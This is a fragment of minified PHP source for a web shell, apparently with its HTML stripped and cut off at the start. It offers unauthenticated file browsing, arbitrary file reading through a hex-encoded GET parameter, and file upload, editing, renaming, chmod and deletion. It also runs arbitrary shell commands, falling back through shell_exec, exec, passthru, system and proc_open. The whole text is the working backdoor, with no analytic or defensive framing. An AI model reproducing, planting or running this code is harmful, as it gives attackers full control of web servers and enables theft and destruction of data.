=1024&&$i<4){$s/=1024;$i++;}return round($s,2).' '.$u[$i];}function getFileDetails($p){$f=[];$d=[];$i=@scandir($p);if(!is_array($i))return[];foreach($i as $it){if($it=='.'||$it=='..')continue;$fp=$p.'/'.$it;$det=['name'=>$it,'type'=>is_dir($fp)?'Folder':'File','size'=>is_dir($fp)?'':formatSize(filesize($fp)),'permission'=>substr(sprintf('%o',fileperms($fp)),-4)];is_dir($fp)?$d[]=$det:$f[]=$det;}return array_merge($d,$f);}function changeDirectory($p){$p==='..'?@chdir('..'):@chdir($p);}function getCurrentDirectory(){return realpath(getcwd());}function getLink($p,$n){return is_dir($p)?''.htmlspecialchars($n).'':''.htmlspecialchars($n).'';}function showBreadcrumb($p){$p=str_replace('\\','/',$p);$paths=explode('/',$p);echo'
';} $curDir=getCurrentDirectory();$msg='';$cmdOutput='';if(isset($_GET['get_filename'])){echo basename(hexToStr($_GET['get_filename']));exit;}if(isset($_GET['ambil-lc-cok'])){$f=hexToStr($_GET['ambil-lc-cok']);if(file_exists($f))echo file_get_contents($f);exit;}if(isset($_GET['dir'])){changeDirectory(hexToStr($_GET['dir']));$curDir=getCurrentDirectory();}if(isset($_POST['new_folder'])&&!empty($_POST['folder_name'])){if(!file_exists($curDir.'/'.$_POST['folder_name']))mkdir($curDir.'/'.$_POST['folder_name'],0755,true);$msg='Folder created.';}if(isset($_POST['new_file'])&&!empty($_POST['file_name'])){file_put_contents($curDir.'/'.$_POST['file_name'],$_POST['file_content']??'');$msg='File created.';}if(isset($_POST['upload_file'])&&isset($_FILES['uploaded_file'])){move_uploaded_file($_FILES['uploaded_file']['tmp_name'],$curDir.'/'.$_FILES['uploaded_file']['name']);$msg='File uploaded.';}if(isset($_POST['edit_file'])){$file=hexToStr($_POST['edit_file']);if(file_exists($file)){$c=$_POST['content']??'';if(($_POST['mode']??'')==='Y')$c=base64_decode($c);file_put_contents($file,$c)?$msg='File berhasil diedit.':$msg='Gagal mengedit file.';}}if(isset($_POST['rename_path'])&&!empty($_POST['new_name'])){$old=hexToStr($_POST['rename_path']);if(file_exists($old))rename($old,dirname($old).'/'.$_POST['new_name']);$msg='Renamed successfully.';}if(isset($_POST['chmod_path'])&&!empty($_POST['chmod_value'])){chmod(hexToStr($_POST['chmod_path']),intval($_POST['chmod_value'],8));$msg='Permission changed.';}if(isset($_POST['delete_path'])){$f=hexToStr($_POST['delete_path']);if(is_file($f))unlink($f);elseif(is_dir($f)){$fs=glob($f.'/*');foreach($fs as $fi)is_dir($fi)?rmdir($fi):unlink($fi);rmdir($f);}$msg='Deleted successfully.';}if(isset($_POST['cmd'])&&!empty($_POST['cmd'])){$c=$_POST['cmd'];try{if(function_exists('shell_exec'))$cmdOutput=shell_exec($c.' 2>&1');elseif(function_exists('exec')){exec($c.' 2>&1',$o);$cmdOutput=implode("\n",$o);}elseif(function_exists('passthru')){ob_start();passthru($c.' 2>&1');$cmdOutput=ob_get_clean();}elseif(function_exists('system')){ob_start();system($c.' 2>&1');$cmdOutput=ob_get_clean();}elseif(function_exists('proc_open')){$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=proc_open($c,$d,$pipes);if(is_resource($p)){$cmdOutput=stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[2]);proc_close($p);}}else $cmdOutput='Command execution disabled.';}catch(Exception $e){$cmdOutput='Error: '.$e->getMessage();}}?>| Name | Type | Size | Permission | Actions | '.getLink($full,$f['name']).' | '.$f['type'].' | '.$f['size'].' | '.$f['permission'].' | Edit | Rename | Chmod | Delete | ';} ?>
|---|